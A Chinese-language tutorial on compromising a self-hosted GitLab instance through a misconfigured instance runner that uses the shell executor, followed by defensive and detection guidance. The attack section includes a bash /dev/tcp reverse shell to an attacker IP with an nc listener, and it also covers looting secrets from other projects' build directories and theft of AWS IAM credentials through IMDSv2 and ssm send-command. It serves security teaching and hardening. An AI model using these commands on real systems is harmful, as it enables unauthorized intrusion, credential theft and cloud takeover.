攻破与防御自托管 GitLab CI/CD 环境:一份详尽指南
文档概述
本教学文档旨在深入剖析自托管 GitLab 实例的安全风险,并通过一次完整的攻击模拟(从初始访问到横向移动至云环境)来揭示其潜在威胁。同时,文档将提供详尽的防御和检测策略,以帮助安全团队和企业加固其 CI/CD 环境。
核心要点: 本攻击链的核心在于利用配置不当的 GitLab 实例级运行器 (Instance Runner) 作为跳板,通过其获取底层主机权限,进而窃取敏感信息并利用附加的云服务身份(如 AWS IAM 角色)实现横向移动,最终控制整个云环境。
第一部分:核心概念与术语
在发起攻击之前,必须理解 GitLab CI/CD 的核心组件。
1. 作业 (Jobs)
作业是 CI/CD 流水线中的最小执行单元,类似于一个函数或单个任务。它定义了要执行的具体命令。
- 定义位置: 项目根目录下的
.gitlab-ci.yml文件。 - 示例:
build_frontend: stage: build image: node:18 script: - cd frontend - npm ci - npm run build artifacts: paths: - frontend/buildscript部分是该作业的核心,定义了由 GitLab 运行器执行的一系列命令。
2. GitLab 运行器 (GitLab Runners)
运行器是实际执行作业的代理程序。它们是与主 GitLab 实例分离的独立服务,可以部署在任意主机上。
- 关键概念:作用域 (Scope)
- 实例级运行器 (Instance Runners): 【高危配置】 对整个 GitLab 实例上的所有项目和所有用户可用。这是本攻击链的突破口。
- 组级运行器 (Group Runners): 对特定群组下的所有项目可用。
- 项目级运行器 (Project Runners): 仅对特定项目可用。
- 关键概念:执行器 (Executor)
- Shell 执行器: 【高危配置】 作业中的命令直接在运行器所在主机的操作系统上执行。一旦作业被劫持,攻击者将直接获得主机 shell。
- Docker 执行器: 作业在独立的 Docker 容器中运行,提供了更好的隔离性。
- 其他执行器包括
Kubernetes、VirtualBox等。
第二部分:攻击链模拟
阶段一:初始访问 - 劫持运行器
攻击前提: 攻击者已获得目标 GitLab 实例的一个有效用户账号(例如,通过弱口令、社会工程学或配置错误的 SSO)。
攻击步骤:
-
** reconnaissance(信息侦察):**
- 登录 GitLab,创建一个新的测试项目/仓库。
- 导航至项目的
Settings->CI/CD->Runners(点击Expand)。 - 检查是否有可用的
Instance Runners且状态为Online。记录其Tags(标签,如vulnerable)。
-
武器化与投递:
- 在项目根目录创建或编辑
.gitlab-ci.yml文件。这是触发流水线的关键文件。 - 编写一个恶意作业,使用上一步中发现的运行器标签。
stages: - malicious malicious: stage: malicious tags: - vulnerable # 指定使用带有此标签的运行器 script: - id # 查看当前执行用户 - uname -a # 查看系统信息 - ip a # 查看网络信息 - curl https://ifconfig.me # 测试出站网络连通性- 提交并推送该文件到仓库。GitLab 会自动触发一个新的流水线执行。
- 在项目根目录创建或编辑
-
利用与执行:
- 返回项目主页,观察流水线状态。若显示绿色对勾,则表示作业执行成功。
- 点击流水线状态,查看作业详细日志,确认命令输出。
- 关键判断: 如果
id命令显示用户为gitlab-runner,且uname -a显示的是主机内核信息(而非容器信息),则极有可能使用的是 Shell 执行器,攻击成功在望。
-
建立控制:
- 升级攻击,在
.gitlab-ci.yml中嵌入反向 Shell 命令,获取一个交互式会话。
stages: - malicious malicious: stage: malicious tags: - vulnerable script: - /bin/bash -c '/bin/bash -i >& /dev/tcp/<你的攻击机IP>/<监听端口> 0>&1 &' # 或者使用更稳定的 payload,如:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # 注意:作业脚本是并行执行的,需确保 shell 在后台运行,以免作业超时。- 在攻击机上使用
nc -lvnp <监听端口>启动监听。 - 提交恶意 YAML 文件,等待连接建立。成功后会获得一个
gitlab-runner用户的 shell。
- 升级攻击,在
阶段二:攻陷后利用 - 筛选秘密
获得运行器主机的 shell 后,开始横向和纵向的信息收集。
- 探索运行器工作目录:
- 运行器的工作目录通常位于
/home/gitlab-runner/builds/或/var/lib/gitlab-runner下。该目录包含其执行过的所有项目的缓存和工作区。 - 使用
ls -la命令浏览目录结构,你可能会发现其他项目(例如,属于fake-admin用户)的目录。
cd /home/gitlab-runner/builds/ ls -la cd <随机哈希>/0/fake-admin/important-project/ ls -la - 运行器的工作目录通常位于
- 窃取敏感数据:
- 在其它项目的目录中,寻找以下敏感文件:
.env文件:通常包含数据库密码、API 密钥等环境变量。.gitlab-ci.yml:可能硬编码了密码或引用了其他秘密文件。- SSH 私钥(如
id_rsa):可用于访问其他系统(如代码仓库、服务器)。
- 查看
.gitlab-ci.yml,了解私钥的用途(如部署到哪个主机)。
- 在其它项目的目录中,寻找以下敏感文件:
阶段三:横向移动到云
如果运行器主机是云环境(如 AWS EC2)中的实例,攻击可以进一步升级。
-
查询云元数据服务:
- AWS 提供了一个内部元数据服务,其 endpoint 为
http://169.254.169.254/。通过该服务可以获取实例的详细信息,包括其关联的 IAM 角色。 - 由于现代 EC2 默认启用 IMDSv2,需要先获取一个令牌,然后用它查询。
# 在运行器主机的 shell 中执行 TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/- 上述命令会返回附加的 IAM 角色名称(如
VulnerableSSMRole)。继续查询该角色,获取临时的访问密钥(AccessKeyId,SecretAccessKey,Token)。
- AWS 提供了一个内部元数据服务,其 endpoint 为
-
在攻击机上配置 AWS CLI:
- 将窃取到的临时凭据配置到攻击机的 AWS CLI 中。
# 在攻击机上执行 aws configure set profile.vulnerable-role.aws_access_key_id <AccessKeyId> aws configure set profile.vulnerable-role.aws_secret_access_key <SecretAccessKey> aws configure set profile.vulnerable-role.aws_session_token <Token>- 验证凭据:
aws sts get-caller-identity --profile vulnerable-role。
-
利用 IAM 角色权限:
- 枚举该 IAM 角色的权限。如果该角色具有
ssm:SendCommand权限(如角色名VulnerableSSMRole所暗示),则可以通过 AWS Systems Manager 向该 EC2 实例或其他安装了 SSM Agent 的实例执行命令。 - 获取实例 ID: 从元数据服务获取:
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id。 - 远程命令执行:
# 在攻击机上执行 aws ssm send-command \ --instance-ids "<目标实例ID>" \ --document-name "AWS-RunShellScript" \ --parameters commands="echo 'gitlab-got-pwned' > /tmp/pwned.txt" \ --profile vulnerable-role- 此命令将在目标实例上以 root 权限创建文件
/tmp/pwned.txt,标志着已完全攻陷该云服务器。
- 枚举该 IAM 角色的权限。如果该角色具有
第三部分:防御与检测策略
A. 预防性控制
-
网络层面:
- 严格的网络访问控制 (NAC): 将 GitLab 实例和运行器置于内部网络或 VPN 之后,禁止公网直接访问。这是最基础也是最有效的防御措施。
-
身份认证与授权:
- 禁用公开注册: 在 GitLab 管理区域禁用用户公开注册(
/admin/application_settings/general#sign-up-restrictions)。 - 谨慎配置 SSO: 如果使用 OAuth/SSO,确保将其限制在特定的安全组或角色,避免整个组织的用户都能登录。
- 强制双因素认证 (2FA): 为所有用户启用并强制使用 2FA。
- 禁用公开注册: 在 GitLab 管理区域禁用用户公开注册(
-
GitLab 运行器配置:【最关键】
- 避免使用实例级运行器: 除非有极其严格的审计和控制,否则应完全禁用或避免创建实例级运行器。
- 使用项目级或组级运行器: 将运行器的权限范围最小化,仅分配给需要的项目或群组。
- 弃用 Shell 执行器: 永远不要在生产环境中使用 Shell 执行器。
- 强制使用隔离的执行器: 使用 Docker 或 Kubernetes 执行器,确保每个作业都在一个全新的、隔离的容器中运行。
- 使用标签进行精细控制: 为运行器设置明确的标签,并在作业中严格指定,避免作业被意外的运行器执行。
-
云服务配置:
- 遵循最小权限原则: 附加到 EC2 实例的 IAM 角色应只拥有完成其任务所必需的最小权限。定期审计 IAM 策略。
- 使用 IMDSv2: 确保所有 EC2 实例强制使用 IMDSv2(这是新实例的默认设置),这增加了从元数据服务获取信息的难度。
B. 检测性控制
-
AWS CloudTrail 监控:
- CloudTrail 会记录所有 API 调用。应设置告警,监控以下可疑行为:
ssm:SendCommand调用,特别是来自不常见 IP 或针对非预期实例的调用。- 大量
ssm:DescribeInstanceInformation或ec2:DescribeInstances调用(攻击者在枚举环境)。 - 来自 GitLab 运行器实例的
sts:GetCallerIdentity调用(这可能表明凭据已被窃取并在外部使用)。
-
GitLab 审计日志:
- 定期审查 GitLab 的管理员审计日志,监控异常的用户活动,例如新用户创建项目并立即触发包含可疑命令的流水线。
-
系统级监控:
- 在运行器主机上部署 HIDS(基于主机的入侵检测系统),如 Osquery、Wazuh 或 Auditd,以检测反向 Shell 的建立、异常进程创建等行为。
总结
本次攻击演示了自托管 GitLab 环境中一个常见且危险的安全误区:为了方便而牺牲安全。一个配置不当的实例级运行器,结合弱隔离和过宽的云权限,足以让攻击者从单个普通用户权限演变为对整个云基础设施的控制。
防御的核心思想始终是:最小权限原则和纵深防御。 通过严格限制运行器的使用范围、强制作业隔离、收紧云身份权限并部署有效的监控,可以极大地降低此类攻击的风险。
免责声明: 本文档仅用于安全教学和研究目的。请勿将所述技术用于任何未授权的测试或攻击。在进行任何安全评估前,务必获得相关系统的明确授权。